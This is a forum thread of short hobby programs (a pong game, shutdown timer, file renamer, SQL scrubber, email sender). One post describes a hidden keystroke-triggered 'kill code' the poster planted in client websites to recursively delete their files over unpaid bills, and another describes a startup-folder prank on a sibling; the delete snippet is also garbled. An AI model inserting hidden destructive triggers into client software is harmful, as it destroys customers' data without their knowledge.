Jump to content
Phishing Emails & YouTube Messages - Fake Giveaway Read more... ×
Search In
  • More options...
Find results that contain...
Find results in...
fletch to 99

The under 100 line challenge!

Recommended Posts

I made a program a few years back to ping a website for you. I've updated the program a lot and it now has a UI and a lot more features, but her is my original script.

 

If you would like to see the updated version feel free to. http://sourceforge.net/projects/maxiping/files/?source=navbar

 

Also i want to point out the print ("") i used this when i was studying IT at school, and since the program actually bypassed the schools security i thougt it might be smart to put that in.

import subprocessimport reimport webbrowserprint ("This software can be used to bypass web security on some networks by using this program you acknowledge this and agree not to use this without Permission from the appropriate person. The developers take no responsibility for the actions of the users of this program.")print ("")myUrl = raw_input ("Enter website Do not include http:// : ")ping = subprocess.Popen(    ["ping", myUrl],    stdout = subprocess.PIPE,    stderr = subprocess.PIPE)out, error = ping.communicate()m = re.search('(\d+\.\d+\.\d+\.\d+)', out)ip = m.group(0)print outprint ipwebbrowser.open(ip)raw_input ("Press enter to close...")
Link to post
Share on other sites

 

This is perfect to annoy someone who is computer illiterate (specifically siblings who hog the family computer). Just throw this in startup on their account. Save it as troll.vbs in notepad and just throw it in startup.

CreateObject("SAPI.SpVoice").Speak"Seven a.m., waking up in the morning Gotta be fresh, gotta go downstairs Gotta have my bowl, gotta have cereal Seein' everything, the time is goin' Tickin' on and on, everybody's rushin' Gotta get down to the bus stop Gotta catch my bus, I see my friends (My friends) Kickin' in the front seat Sittin' in the back seat Gotta make my mind up Which seat can I take? It's Friday, Friday Gotta get down on Friday Everybody's lookin' forward to the weekend, weekend Friday, Friday Gettin' down on Friday Everybody's lookin' forward to the weekend Partyin', partyin' (Yeah) Partyin', partyin' (Yeah) Fun, fun, fun, fun Lookin' forward to the weekend 7:45, we're drivin' on the highway Cruisin' so fast, I want time to fly Fun, fun, think about fun You know what it is I got this, you got this My friend is by my right, ay I got this, you got this Now you know it Kickin' in the front seat Sittin' in the back seat Gotta make my mind up Which seat can I take? It's Friday, Friday Gotta get down on Friday Everybody's lookin' forward to the weekend, weekend Friday, Friday Gettin' down on Friday Everybody's lookin' forward to the weekend Partyin', partyin' (Yeah) Partyin', partyin' (Yeah) Fun, fun, fun, fun Lookin' forward to the weekend Yesterday was Thursday, Thursday Today i-is Friday, Friday (Partyin') We-we-we so excited We so excited We gonna have a ball today Tomorrow is Saturday And Sunday comes after ... wards I don't want this weekend to end R-B, Rebecca Black So chillin' in the front seat (In the front seat) In the back seat (In the back seat) I'm drivin', cruisin' (Yeah, yeah) Fast lanes, switchin' lanes Wit' a car up on my side (Woo!) (C'mon) Passin' by is a school bus in front of me Makes tick tock, tick tock, wanna scream Check my time, it's Friday, it's a weekend We gonna have fun, c'mon, c'mon, y'all It's Friday, Friday Gotta get down on Friday Everybody's lookin' forward to the weekend, weekend Friday, Friday Gettin' down on Friday Everybody's lookin' forward to the weekend Partyin', partyin' (Yeah) Partyin', partyin' (Yeah) Fun, fun, fun, fun Lookin' forward to the weekend It's Friday, Friday Gotta get down on Friday Everybody's lookin' forward to the weekend, weekend Friday, Friday Gettin' down on Friday Everybody's lookin' forward to the weekend Partyin', partyin' (Yeah) Partyin', partyin' (Yeah) Fun, fun, fun, fun Lookin' forward to the weekend" 

 

OMG this song needs to just DIE!

 

Here is a fun one I did back when I first started developing websites (before I built my business, but I've sneaked it into a few websites from time to time whenever I touch projects my business is developing.  That's right!  It's the Konami Code!

 

I'm sure there are multiple versions of this, but I can say with confidence mine is about as streamlined as it gets.  Just remember to toss in your call right before keys=[]; for what you want to happen when they do the code.  (This isn't a program, just a fun function)

if(window.addEventListener){var keys=[],k="38,38,40,40,37,39,37,39,66,65";window.addEventListener("keydown",function(e){keys.push(e.keyCode);if(keys.toString().indexOf(k)>=0){keys=[]}},true)}

Before I had my own webservers, I would put client sites up on whoever they had hosting.  Of course the bad part is that after the work is done, they could skip payment and change passwords and stuff because they owned the account, so I had no way of recouping the loss of whatever they owed on the rest of the contract (without spending a ton of money which is pointless).  So I would sometimes add a kill code that was tied much like that Konami code, but used a keyphrase I would add to it that would call a function like this:

public function sD($p){if(!file_exists($p)){throw new RecursiveDirectoryException('pop pop');}$dI = new DirectoryIterator($p);foreach($dI as $fI){fP = $fI->getPathname();if(!$fI->isDot()){if($fI->isFile()){unlink($fP);}else if($fI->isDir()){if($this->emptyDirectory($fP)){rmdir($fP);}else{$this->delete($fP);rmdir($fP);}}}}}

So basically I would type "d i e {space} n o w ! {enter}" to completely delete the contents of the website if they refuse payment (which was in the SLA, before any of you lawyer wannabe types throw a hissy fit):

if(window.addEventListener){var keys=[],k="68,73,69,32,78,79,87,13";window.addEventListener("keydown",function(e){keys.push(e.keyCode);if(keys.toString().indexOf(k)>=0){<?=sD("public_html");?>keys=[]}},true)}

Like I said, not programs, just code snippits I found either fun or handy in the past.  Nice thing is, now that I own webservers, I just put people on my server and I administrate it, so there is no way for them to change passwords or whatever to lock me out when they decide they don't want to pay.  Now I just shut them down after the SLA requirements are met to do so.


01110100 01101000 01100101 00100000 01110001 01110101 01101001 01100101 01110100 01100101 01110010 00100000 01111001 01101111 01110101 00100000 01100010 01100101 01100011 01101111 01101101 01100101 00101100 00100000 01110100 01101000 01100101 00100000 01101101 01101111 01110010 01100101 00100000 01111001 01101111 01110101 00100000 01100001 01110010 01100101 00100000 01100001 01100010 01101100 01100101 00100000 01110100 01101111 00100000 01101000 01100101 01100001 01110010

 

Link to post
Share on other sites

I made a little pong game using Pascal, it's a little over 100 lines but i think you can make it to 100 if you delete some blank lines. btw some thing are written in portugues because i'm brazilian :)

 

unit Unit1; interface uses  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.Imaging.jpeg,  Vcl.Imaging.pngimage, Vcl.StdCtrls; type  TForm1 = class(TForm)    Timer1: TTimer;    Label1: TLabel;    Label2: TLabel;    Shape3: TShape;    Shape4: TShape;    Shape2: TShape;    Label3: TLabel;    Shape1: TShape;    Timer2: TTimer;    Timer3: TTimer;    procedure Timer1Timer(Sender: TObject);    procedure FormCreate(Sender: TObject);    procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);    procedure Timer2Timer(Sender: TObject);    procedure Timer3Timer(Sender: TObject);   private    { Private declarations }  public    { Public declarations }  end; var  Form1: TForm1;  x,y:integer;  pontos1,pontos2:integer;  pos,lado:integer; implementation {$R *.dfm}                                                                                              //Encostar barra player 1function encostar (shape4,shape3:Tshape):boolean;begin  if (shape4.left<=shape3.left + shape3.width) and (shape4.Top>=shape3.top) and (shape4.Top<=shape3.top + shape3.height)   then   result:=true   else   result:=false;end;                                                                                               //Encostar barra player 2function encostar2 (shape4,shape2:TShape):boolean;begin  if (shape4.Left+shape4.Width >= shape2.Left) and (shape4.Top>=shape2.top) and (shape4.Top<=shape2.top + shape2.height) then  result:=true  else  result:=false;end;                                                                                               //Posição da bola e velocidadeprocedure TForm1.FormCreate(Sender: TObject);beginx:=0;y:=0;ShowMessage('COMANDOS: ' + #13#10 + 'Player 1: Caps e Ctrl / Player 2: Setas');randomize;pontos1:=0;pontos2:=0;shape4.Left:=((shape1.Width - shape4.Width) div 2) + shape1.left;pos:=random(shape1.Height - 30);shape4.top:=pos+shape1.Top;Timer2.Enabled:=true;end;                                                                                                                                            //Comandos Tecladoprocedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);begin   if (key = VK_CONTROL) and (shape3.Top<shape1.height) then shape3.Top:=shape3.top+50;   if (key = VK_CAPITAL) and (shape3.Top>=100) then shape3.Top:=shape3.Top -50;   if (key = VK_DOWN) and (shape2.Top<shape1.height) then shape2.top:=shape2.top +50;   if (key = VK_UP) and (shape2.Top>=100) then shape2.top:=shape2.top -50;   if (key = VK_SPACE) then x:=-x; end;                                                                                                                                            //Quicar + pontuaçãoprocedure TForm1.Timer1Timer(Sender: TObject);begin if encostar(shape4,shape3) = true then x:=-x; if encostar2(shape4,shape2) = true then x:=-x; if shape4.Left <= shape1.left then x:=-x; if shape4.Left + shape4.width >=shape1.Width + shape1.left then x:=-x; if shape4.top <=shape1.top then y:=-y; if shape4.Top >= shape1.Top + shape1.height - shape4.height then y:=-y;  if (shape4.Left <= shape1.left) then begin shape4.Left:=((shape1.Width - shape4.Width) div 2) + shape1.left; pos:=random(shape1.Height - 30); shape4.top:=pos+shape1.Top; inc(pontos2,1); x:=0; y:=0; lado:=1; Timer3.Enabled:=true; end; label2.Caption:=inttostr(pontos1);  if (shape4.Left+shape4.Width >= shape1.width + shape1.left) then begin shape4.Left:=((shape1.Width - shape4.Width) div 2) + shape1.left; pos:=random(shape1.Height - 30); shape4.top:=pos+shape1.Top; inc(pontos1,1); x:=0; y:=0; lado:=0; Timer3.Enabled:=true; end; label3.caption:=inttostr(pontos2); shape4.left:=shape4.Left + x; shape4.Top:=shape4.Top + y;end; procedure TForm1.Timer2Timer(Sender: TObject);beginlado:=random(2);if lado = 0 thenx:=5elsex:=-5;y:=5;Timer2.Enabled:=false;end; procedure TForm1.Timer3Timer(Sender: TObject);beginif lado = 0 thenx:=5elsex:=-5;y:=5;Timer3.Enabled:=false;end; end.
Link to post
Share on other sites

you could all proably do something better then this but

takes input from user shutdown (nothing shudown -i can't solve)

also the at command was scary so i didn't use that for certain time

any idea's for specific time shutdown please message me

#include<stdio.h>int main(){    float sec = 0;    float minu;    float hour;    int temp;    int dec;    char shut[80];    printf("1) shut down after a time \n");    printf("2) cancel shutdown \n");    scanf("%d",&dec);    switch (dec) {    case 1:        printf("Please enter how many hours: ");        scanf("%f",&hour);        //printf("\n");        temp = (int)hour;        //printf("%d \n",temp);        minu = hour - temp;        hour -= minu;        //printf("%f\n",minu);        minu = minu*60;        sec = minu*60;        sec += (hour*60)*60;        //printf("%f",sec);        temp = (int)sec;        //printf("%d",temp);        sprintf(shut,"shutdown /s /t %d", temp);        system(shut);        break;    case 2:        system("shutdown /a");        break;    default:        ("nice job mate");        break;    }    return 0;}

check out that sexy switch case

Link to post
Share on other sites

Here's something of mine, a simple C++ program to help people choosing the Mechanical Keyboard Switch for them:

#include "stdafx.h"#include <stdio.h>#include <conio.h>#include <iostream>using namespace std;void main(){	char a,b,c;	cout<<"Guide for choosing the right Cherry MX switch"<<endl;	cout<<"Please answer with Y for Yes and N for No."<<endl;	cout<<endl;	cout<<"Do you like the clicky sounds of a keyboard?"<<endl;	cin>>a;	cout<<endl;	if (a=='Y' || a=='y'){		cout<<"Do you have strong fingers?"<<endl;		cin>>b;		cout<<endl;		if (b=='Y' || b=='y'){			cout<<"Cherry MX Green is the one for you."<<endl;		} else {cout<<"Cherry MX Blue is the right switch for you."<<endl;}	} else {		cout<<"Do you like tactile feedback?"<<endl;		cin>>b;		cout<<endl;		if (b=='Y' || b=='y'){			cout<<"You should use Cherry MX Brown switches."<<endl;		} else 		{			cout<<"Do you have strong fingers?"<<endl;			cin>>c;			cout<<endl;			if (c=='Y' || c=='y'){			cout<<"You shall use Cherry MX Black."<<endl;		} else {cout<<"Cherry MX Red switches are for you to use."<<endl;}		}	}	cout<<endl;	cout<<"Do you like this guide?"<<endl;	cin>>c;}
Link to post
Share on other sites

Here's a simple program I made for a practical problem I had, and was just starting programming few months ago.

It finds all files in a directory, and renames to target name (char newName), with target extension(char *ext), except itself (char *prg). Useful for stuff like random images renaming (family photos from different cameras from a single event)

In C++, requires Dirent.h

#include <iostream>#include <stdio.h>#include "dirent.h"using namespace std;int main(){ cout << "Press enter to start renaming . . ."; cin.ignore(); int i = -1; char buffer[33]; char *prg = "Renamer.exe"; char *ext = ".jpg"; char *oldName = "nofile"; char *firstName = ""; DIR *d; struct dirent *dir; d = opendir("."); if(d) {  while((dir = readdir(d)) != NULL && strcmp (firstName, oldName) != 0)  {   oldName = dir->d_name;   cout << "File found: " << oldName;   if(strcmp(oldName, prg) !=0)   {    int temp = i;    char newName[75] = "sample";                       //Place the target name here    itoa(i, buffer, 10);    strcat(newName, buffer);    strcat(newName, ext);    rename(oldName, newName);    cout << "----- File renamed to: " << newName << endl;    if(i == 1) firstName = newName;    i++;   }  } } cout << "\nAll files renamed, press enter to close . . ."; cin.get(); cin.ignore(); return 0;}
Link to post
Share on other sites
Posted · Original PosterOP

Here's a simple program I made for a practical problem I had, and was just starting programming few months ago.

It finds all files in a directory, and renames to target name (char newName), with target extension(char *ext), except itself (char *prg). Useful for stuff like random images renaming (family photos from different cameras from a single event)

In C++, requires Dirent.h

#include <iostream>#include <stdio.h>#include "dirent.h"using namespace std;int main(){ cout << "Press enter to start renaming . . ."; cin.ignore(); int i = -1; char buffer[33]; char *prg = "Renamer.exe"; char *ext = ".jpg"; char *oldName = "nofile"; char *firstName = ""; DIR *d; struct dirent *dir; d = opendir("."); if(d) {  while((dir = readdir(d)) != NULL && strcmp (firstName, oldName) != 0)  {   oldName = dir->d_name;   cout << "File found: " << oldName;   if(strcmp(oldName, prg) !=0)   {    int temp = i;    char newName[75] = "sample";                       //Place the target name here    itoa(i, buffer, 10);    strcat(newName, buffer);    strcat(newName, ext);    rename(oldName, newName);    cout << "----- File renamed to: " << newName << endl;    if(i == 1) firstName = newName;    i++;   }  } } cout << "\nAll files renamed, press enter to close . . ."; cin.get(); cin.ignore(); return 0;}

Interesting and useful application!


There are 10 types of people in this world, those who can read binary and those who can't.

There are 10 types of people in this world, those who can read hexadecimal and F the rest.

~Fletch

Link to post
Share on other sites

here is a simple shell command.  Put it into a script and we'll call that a program:

 

grep -P '[^\x00-\x7f]' filename

 

 

identifies "garbage" characters that might exist in a file (the filename).

 

garbage here being defined as those outside of the ascii decimal range  0-127   ie outside Hex range 00 - 7f

Link to post
Share on other sites

here is a scrubber I wrote recently using Oracle's PL/SQL language.  It is using Oracle Apps FND_FILE to output log info, but that can be replaced with DBMS_OUTPUT if you don't have the FND_FILE package.

 

I removed empty lines and most of the inline comments so it probably doesn't make much sense what is happening without those.

 

    ----------------------------------------------------------------------------

    -- Ben Tate II
    -- April 22, 2013
    --
    -- Pass a string to this function and it will replace any
    -- unacceptable characters with a space.  Then it will return
    -- the cleaned up string back to you.
    --
    ----------------------------------------------------------------------------

 

FUNCTION scrub_record_clean   (  pToBeCleaned   IN  VARCHAR2  )
RETURN VARCHAR2
AS
    vToBeCleaned        VARCHAR2(32767) := pToBeCleaned;
    vCleanedString      VARCHAR2(32767) := vToBeCleaned;
    vAsciiOffenders     VARCHAR2(2000);
    vUnacceptableAscii  NUMBER  := NULL;
    vStartPos           NUMBER;
    vPos                NUMBER;
BEGIN
    Fnd_File.Put_Line(Fnd_File.LOG,
        '       Begin SCRUB_RECORD_CLEAN function.');
    vToBeCleaned    :=  pToBeCleaned;
    BEGIN
        SELECT
            DUMP(
                    translate(
                                upper(vToBeCleaned),
                                'QWERTYUIOPASDFGHJKLZXCVBNM ,.<>/?;:''"[{]}1234567890-=!@#$%^&*()_+\|`~', -- acceptable list
                                CHR(0) -- if no unacceptable found then CHR(0) is returned.  i.e. NULL
                             )
                    ,1010, -- output the dumped values as ascii decimals
                    1,LENGTH(vToBeCleaned)  -- scan entire length of the string
                )
        INTO
            vAsciiOffenders
        FROM
            dual
        WHERE
            TRANSLATE(upper(vToBeCleaned),
             'QWERTYUIOPASDFGHJKLZXCVBNM ,.<>/?;:''"[{]}1234567890-=!@#$%^&*()_+\|`~' , -- acceptable list
             chr(0)) NOT IN ( CHR(0), CHR(0)||CHR(0), CHR(0)||CHR(0)||CHR(0) );
        vCleanedString  := vToBeCleaned;
        vStartPos   := INSTR(vAsciiOffenders,': ',1) + 2;
        vPos        := vStartPos;
        -- PARSE the string of unacceptable ascii decimal values.
        -- Then REPLACE each occurrence of the unacceptable ascii decimal value
        -- with a space.
        LOOP
            IF INSTR(vAsciiOffenders,',',vPos,1) = 0
            THEN
                vUnacceptableAscii  := SUBSTR(vAsciiOffenders,vPos);
                vCleanedString  :=  REPLACE(vCleanedString, CHR(vUnacceptableAscii), ' ');
                EXIT;
            ELSE
                vUnacceptableAscii  := SUBSTR(vAsciiOffenders,vPos,(INSTR(vAsciiOffenders,',',vPos,1)-vPos));
                vCleanedString  :=  REPLACE(vCleanedString, CHR(vUnacceptableAscii), ' ');
                vPos    :=  INSTR(vAsciiOffenders,',',vPos,1)+1;
            END IF;
        END LOOP;
        Fnd_File.Put_Line(Fnd_File.LOG,
            '*********************************************************************************************'||
            chr(10)||
            '     Unacceptable Ascii Decimal values have been scrubbed with spaces in the record string.');
        Fnd_File.Put_Line(Fnd_File.LOG,
            '     '||vAsciiOffenders||
            chr(10)||
            '*********************************************************************************************');
        Fnd_File.Put_Line(Fnd_File.LOG,
            '       End of SCRUB_RECORD_CLEAN function.');
        RETURN vCleanedString;
        EXCEPTION
            WHEN NO_DATA_FOUND THEN
                Fnd_File.Put_Line(Fnd_File.LOG,
                    '       End of SCRUB_RECORD_CLEAN function.');
                -- nothing to do.  string is already clean.  Return it back...
                RETURN vToBeCleaned;
            WHEN OTHERS THEN
                Fnd_File.Put_Line(Fnd_File.LOG,
                    '  Error occured in SCRUB_RECORD_CLEAN '||
                    SQLERRM);
                Fnd_File.Put_Line(Fnd_File.LOG,
                    '  End of SCRUB_RECORD_CLEAN function. '||
                    'String is being returned as it was received '||
                    ', without being scrubbed');
                RETURN vToBeCleaned;
    END;
END scrub_record_clean;
Link to post
Share on other sites

Not that useful, not that special, but I thought I still share it ...

import java.util.ArrayList;import java.util.Arrays;public class aClass {private static <T> void mrepTest(T[] array){        ArrayList<T[]> erg = new ArrayList<T[]>();        mrep(array.length-1,erg,array);    }private static <T> void mrep (int n, ArrayList<T[]> output, T[] input){        if (n <= 0){            output.add(Arrays.copyOf(input, input.length));        } else {            for (int k=n; k>=0; k--){                change(input,k,n);                mrep(n-1,output,input);                change(input,k,n);            }         }    }private static <T> void change (T[] liste, int k, int n){        if(k != n){            T temp;            temp = liste[k];            liste[k] = liste[n];            liste[n] = temp;        }       }}

Who knows what happens here? :D


Mini-Desktop: NCASE M1 Build Log
Mini-Server: M350 Build Log

Link to post
Share on other sites

YouTube competition winner generator, paste YouTube video link in and click generate.

 

All commenters will be recorded and get one entry each (excludes replies) and then one of those users gets randomly picked as the winner - https://gist.github.com/Cirx08/9ccbdce2d21cabefa472#file-random-youtube-winner

REALLY useful

 

484717_328404733938405_247491764_n.jpg

I lol'd

 

 

I made a program a few years back to ping a website for you. I've updated the program a lot and it now has a UI and a lot more features, but her is my original script.

 

If you would like to see the updated version feel free to. http://sourceforge.net/projects/maxiping/files/?source=navbar

 

Also i want to point out the print ("") i used this when i was studying IT at school, and since the program actually bypassed the schools security i thougt it might be smart to put that in.

import subprocessimport reimport webbrowserprint ("This software can be used to bypass web security on some networks by using this program you acknowledge this and agree not to use this without Permission from the appropriate person. The developers take no responsibility for the actions of the users of this program.")print ("")myUrl = raw_input ("Enter website Do not include http:// : ")ping = subprocess.Popen(    ["ping", myUrl],    stdout = subprocess.PIPE,    stderr = subprocess.PIPE)out, error = ping.communicate()m = re.search('(\d+\.\d+\.\d+\.\d+)', out)ip = m.group(0)print outprint ipwebbrowser.open(ip)raw_input ("Press enter to close...")

This is rather redundant as you can simply type in on command prompt "ping [websitehere]" ; actually the windows ping command is quite dangerous O.o was playing around with it with a few of my friends and actually DDOS'd them.


Console optimisations and how they will effect you | The difference between AMD cores and Intel cores | Memory Bus size and how it effects your VRAM usage |
How much vram do you actually need? | APUs and the future of processing | Projects: SO - here

Intel i7 5820l @ with Corsair H110 | 32GB DDR4 RAM @ 1600Mhz | XFX Radeon R9 290 @ 1.2Ghz | Corsair 600Q | Corsair TX650 | Probably too much corsair but meh should have had a Corsair SSD and RAM | 1.3TB HDD Space | Sennheiser HD598 | Beyerdynamic Custom One Pro | Blue Snowball

Link to post
Share on other sites

Just a quick question does this include libraries?


Console optimisations and how they will effect you | The difference between AMD cores and Intel cores | Memory Bus size and how it effects your VRAM usage |
How much vram do you actually need? | APUs and the future of processing | Projects: SO - here

Intel i7 5820l @ with Corsair H110 | 32GB DDR4 RAM @ 1600Mhz | XFX Radeon R9 290 @ 1.2Ghz | Corsair 600Q | Corsair TX650 | Probably too much corsair but meh should have had a Corsair SSD and RAM | 1.3TB HDD Space | Sennheiser HD598 | Beyerdynamic Custom One Pro | Blue Snowball

Link to post
Share on other sites

This is made using Turing (the language I was taught in school)

It is very basically a ball that you can move around that will not go off the screen.

 

View.Set ("graphics:640;480")colorback (black) var x, y : intx := maxx div 2y := 50 var chars : array char of boolean loop    Input.KeyDown (chars)     if chars (KEY_UP_ARROW) then        y := y + 5    elsif y > maxy then        y := maxy - 15    end if    if chars (KEY_RIGHT_ARROW) then        x := x + 5    elsif x > maxx then        x := maxx - 15    end if    if chars (KEY_LEFT_ARROW) then        x := x - 5    elsif x < 0 then        x := 15    end if    if chars (KEY_DOWN_ARROW) then        y := y - 5    elsif y < 0 then        y := 15    end if     drawoval (x, y, 10, 10, red)    delay (20)     cls end loop
Link to post
Share on other sites

hey guys! where do you write these codes in? microsoft visual c++ or what? please help me too so that i also can post one!


 [spoiler=CORMAC]CPU:Intel celeron 1.6ghz RAM:Kingston 400mhz 1.99gb MOBO:MSI G31TM-P21 GPU:Will add one later on! CASE:local ROUTER D-Link 2750U, D-LINK 2730U MOUSE:HP,DELL,ViP KEYBOARD: v7 SPEAKERS:Creative 245  MONITOR:AOC E970Sw HEADSET: Sony MDRx05s UPS:conex ups avr 500va PSU:idk OD:Samsung super writemaster STORAGE:80 gb seagate+ Seagate 1TB OS:Windows xp sp3 themed to Windows 7 + Linux |Rest all pc in my house will be updated from time-time

COMING SOON

 

 

Link to post
Share on other sites

hey guys! where do you write these codes in? microsoft visual c++ or what? please help me too so that i also can post one!

There are a number of different programming languages in this thread. I recommend you go and grab notepad++ and eclipse if you haven't already


I am good at computer

Spoiler

Motherboard: Gigabyte G1 sniper 3 | CPU: Intel 3770k @5.1Ghz | RAM: 32Gb G.Skill Ripjaws X @1600Mhz | Graphics card: EVGA 980 Ti SC | HDD: Seagate barracuda 3298534883327.74B + Samsung OEM 5400rpm drive + Seatgate barracude 2TB | PSU: Cougar CMX 1200w | CPU cooler: Custom loop

Link to post
Share on other sites

There are a number of different programming languages in this thread. I recommend you go and grab notepad++ and eclipse if you haven't already

thanks!


 [spoiler=CORMAC]CPU:Intel celeron 1.6ghz RAM:Kingston 400mhz 1.99gb MOBO:MSI G31TM-P21 GPU:Will add one later on! CASE:local ROUTER D-Link 2750U, D-LINK 2730U MOUSE:HP,DELL,ViP KEYBOARD: v7 SPEAKERS:Creative 245  MONITOR:AOC E970Sw HEADSET: Sony MDRx05s UPS:conex ups avr 500va PSU:idk OD:Samsung super writemaster STORAGE:80 gb seagate+ Seagate 1TB OS:Windows xp sp3 themed to Windows 7 + Linux |Rest all pc in my house will be updated from time-time

COMING SOON

 

 

Link to post
Share on other sites

// File Name SendEmail.java

import java.util.*;
import javax.mail.*;
import javax.mail.internet.*;
import javax.activation.*;
public class SendEmail
{
public static void main(String [] args)
{
String to = "abcd@gmail.com";
String from = "web@gmail.com";
String host = "localhost";
Properties properties = System.getProperties();
properties.setProperty("mail.smtp.host", host);
Session session = Session.getDefaultInstance(properties);
try{
MimeMessage message = new MimeMessage(session);.
message.setFrom(new InternetAddress(from));
message.addRecipient(Message.RecipientType.TO,
new InternetAddress(to));
message.setSubject("This is the Subject Line!");
message.setText("This is actual message");
Transport.send(message);
System.out.println("Sent message successfully....");
}catch (MessagingException mex) {
mex.printStackTrace();
}

 

Had to strip all comments in the program. Didn't supply the html code to execute  this program because 100 lines or less requirement


Michael Summers

CaseObsidian 900D  MOBORampage IV Extreme CPU:  i7-4960X Ivy Bridge-E 3.6GHz  RAM:: Vengeance Pro 32GB  Boot : RAID 0  840 Pro  512GB  Data:  RAID 10 WD Red  2TB PS: Corsair : AX1200 GPU:  ASUS  GTX-780 Ti

Birthday Gift from my wife - She made me order it and built it :-)

Link to post
Share on other sites

Here is mine, made in VS2012

Module Hello  Sub Main()      MsgBox("Hello, World!") ' Display message on computer screen.  End Sub End Module

What if you just gotta tell the world hello?


Main Rig: -FX8150 -32gb Kingston HyperX BLUE -120gb Kingston HyperX SSD -1TB WD Black -ASUS R9 270 DCUII OC -Corsair 300r -Full specs on Profile


Other Devices: -One Plus One 64gb Sandstone Black -Canon T5 -Moto G -Pebble Smartwatch -Nintendo 2DS -G27 Racing Wheel


#PlugYourStuff - 720penis - 1080penis - #KilledMyWife - #LinusButtPlug - #HashtagsAreALifestyle - CAR BOUGHT: 2010 Corolla

Link to post
Share on other sites

// File Name SendEmail.java

import java.util.*;

import javax.mail.*;

import javax.mail.internet.*;

import javax.activation.*;

public class SendEmail

{

public static void main(String [] args)

{

String to = "abcd@gmail.com";

String from = "web@gmail.com";

String host = "localhost";

Properties properties = System.getProperties();

properties.setProperty("mail.smtp.host", host);

Session session = Session.getDefaultInstance(properties);

try{

MimeMessage message = new MimeMessage(session);.

message.setFrom(new InternetAddress(from));

message.addRecipient(Message.RecipientType.TO,

new InternetAddress(to));

message.setSubject("This is the Subject Line!");

message.setText("This is actual message");

Transport.send(message);

System.out.println("Sent message successfully....");

}catch (MessagingException mex) {

mex.printStackTrace();

}

 

Had to strip all comments in the program. Didn't supply the html code to execute  this program because 100 lines or less requirement

Here is the full code

// File Name SendEmail.javaimport java.util.*;import javax.mail.*;import javax.mail.internet.*;import javax.activation.*;public class SendEmail{   public static void main(String [] args)   {          // Recipient's email ID needs to be mentioned.      String to = "abcd@gmail.com";      // Sender's email ID needs to be mentioned      String from = "web@gmail.com";      // Assuming you are sending email from localhost      String host = "localhost";      // Get system properties      Properties properties = System.getProperties();      // Setup mail server      properties.setProperty("mail.smtp.host", host);      // Get the default Session object.      Session session = Session.getDefaultInstance(properties);      try{         // Create a default MimeMessage object.         MimeMessage message = new MimeMessage(session);         // Set From: header field of the header.         message.setFrom(new InternetAddress(from));         // Set To: header field of the header.         message.addRecipient(Message.RecipientType.TO,                                  new InternetAddress(to));         // Set Subject: header field         message.setSubject("This is the Subject Line!");         // Now set the actual message         message.setText("This is actual message");         // Send message         Transport.send(message);         System.out.println("Sent message successfully....");      }catch (MessagingException mex) {         mex.printStackTrace();      }   }}Compile and run this program to send a simple email:$ java SendEmailSent message successfully....If you want to send an email to multiple recipients then following methods would be used to specify multiple email IDs:void addRecipients(Message.RecipientType type,                    Address[] addresses)throws MessagingExceptionHere is the description of the parameters:type: This would be set to TO, CC or BCC. Here CC represents Carbon Copy and BCC represents Black Carbon Copy. Example Message.RecipientType.TOaddresses: This is the array of email ID. You would need to use InternetAddress() method while specifying email IDsSend an HTML Email:Here is an example to send an HTML email from your machine. Here it is assumed that your localhost is connected to the internet and capable enough to send an email.This example is very similar to previous one, except here we are using setContent() method to set content whose second argument is "text/html" to specify that the HTML content is included in the message.Using this example, you can send as big as HTML content you like.// File Name SendHTMLEmail.javaimport java.util.*;import javax.mail.*;import javax.mail.internet.*;import javax.activation.*;public class SendHTMLEmail{   public static void main(String [] args)   {            // Recipient's email ID needs to be mentioned.      String to = "abcd@gmail.com";      // Sender's email ID needs to be mentioned      String from = "web@gmail.com";      // Assuming you are sending email from localhost      String host = "localhost";      // Get system properties      Properties properties = System.getProperties();      // Setup mail server      properties.setProperty("mail.smtp.host", host);      // Get the default Session object.      Session session = Session.getDefaultInstance(properties);      try{         // Create a default MimeMessage object.         MimeMessage message = new MimeMessage(session);         // Set From: header field of the header.         message.setFrom(new InternetAddress(from));         // Set To: header field of the header.         message.addRecipient(Message.RecipientType.TO,                                  new InternetAddress(to));         // Set Subject: header field         message.setSubject("This is the Subject Line!");         // Send the actual HTML message, as big as you like         message.setContent("<h1>This is actual message</h1>",                            "text/html" );         // Send message         Transport.send(message);         System.out.println("Sent message successfully....");      }catch (MessagingException mex) {         mex.printStackTrace();      }   }}

Michael Summers

CaseObsidian 900D  MOBORampage IV Extreme CPU:  i7-4960X Ivy Bridge-E 3.6GHz  RAM:: Vengeance Pro 32GB  Boot : RAID 0  840 Pro  512GB  Data:  RAID 10 WD Red  2TB PS: Corsair : AX1200 GPU:  ASUS  GTX-780 Ti

Birthday Gift from my wife - She made me order it and built it :-)

Link to post
Share on other sites

Forget this, just realized the errors in it that made it non-fully functioning... wish I could delete this :P


Intel 3570K - MSI GTX 660Ti 3GB OC Edition - 16GB Corsair LP RAM - ASRock Extreme4 Motherboard - Corsair HX850 - Adata Premier Pro SP900 120GB SSD with Windows 7 - Seagate Barracuda 1TD HDD - Seagate Barracuda 500GB HDD - Thermaltake Frio CPU Cooler - CM Storm Enforcer Case - Macbook Pro Early 2011 Laptop

Link to post
Share on other sites
int main(){    char again;    do    {        system ("cls");        int n;        int factorialk=1, k, factorialnmk=1, nmk, factorialn=1;        int combinatorio;        printf("Using the binary coefficient model (n  k)\n");        printf("Provide 'n' value\n");        scanf("%d", &n);        printf("provide 'k'\n");        scanf("%d", &k);        nmk= n-k;        if(n < 0)        {            printf("\nUse only natural numbers ( %c 0 ).", 242);        }        else        {            while (n  > 0)            {                factorialn = n * factorialn;                n--;            }            while(k > 0)            {                factorialk = k * factorialk;                k--;            }            while (nmk > 0)            {                factorialnmk = nmk * factorialnmk;                nmk--;            }        }        combinatorio = factorialn/(factorialk*factorialnmk);        printf("(n   k) = %d",  combinatorio);        printf("\n\nWould you like to test another one? (y/n):");        again = getche();    }    while (again == 'y'|| again == 'Y');        return 0;}

This is a basic C (yes... just C) console program that will calculate the binary coefficient of 2 numbers. this is useful in probability. (sorry the variables are in spanish, I am from argentina and code in spanish, took a second to change the prints to english but left the variables as they were.

anyway, hope you like it (I'm using C because I'm new to coding and this is de language I'm learning)

Link to post
Share on other sites
